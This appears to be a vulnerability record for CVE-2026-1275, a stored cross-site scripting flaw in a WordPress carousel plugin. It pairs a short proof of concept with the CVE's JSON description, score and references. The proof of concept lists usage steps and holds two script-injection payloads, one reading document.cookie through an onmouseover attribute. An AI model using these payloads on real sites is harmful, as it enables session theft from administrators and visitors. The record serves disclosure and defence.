CVE-2026-1275

<!-- PoC for CVE-2026-1275 Target: Multi Post Carousel by Category <= 1.4 Type: Stored XSS via 'slides' shortcode attribute --> <!-- Usage: 1. Log in as a Contributor user. 2. Create a new Post/Page. 3. Insert the following shortcode into the content editor: [multi-post-carousel slides='" onmouseover="alert(document.cookie)"'] 4. Publish the post. 5. View the post as an Administrator or any other user. 6. Hover over the carousel element (or wait for execution depending on payload) to trigger the XSS. --> <script> // Example payload to be inserted inside the shortcode attribute console.log('Payload: "><script>alert(1)</script>'); </script>

{"cve": {"id": "CVE-2026-1275", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:52.253", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Multi Post Carousel by Category plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'slides' shortcode attribute in all versions up to, and including, 1.4. This is due to insufficient input sanitization and output escaping on the user-supplied 'slides' parameter in the post_slides_shortcode function. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Multi Post Carousel by Category para WordPress es vulnerable a cross-site scripting almacenado a través del atributo del shortcode 'slides' en todas las versiones hasta la 1.4, inclusive. Esto se debe a una sanitización de entrada y un escape de salida insuficientes en el parámetro 'slides' proporcionado por el usuario en la función post_slides_shortcode. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/multi-post-carousel/tags/1.4/multi-post-carousel.php#L174", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/multi-post-carousel/trunk/multi-post-carousel.php#L174", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b27ecbf7-e97d-42c0-98d4-c235edf40669?source=cve", "source": "[email protected]"}]}}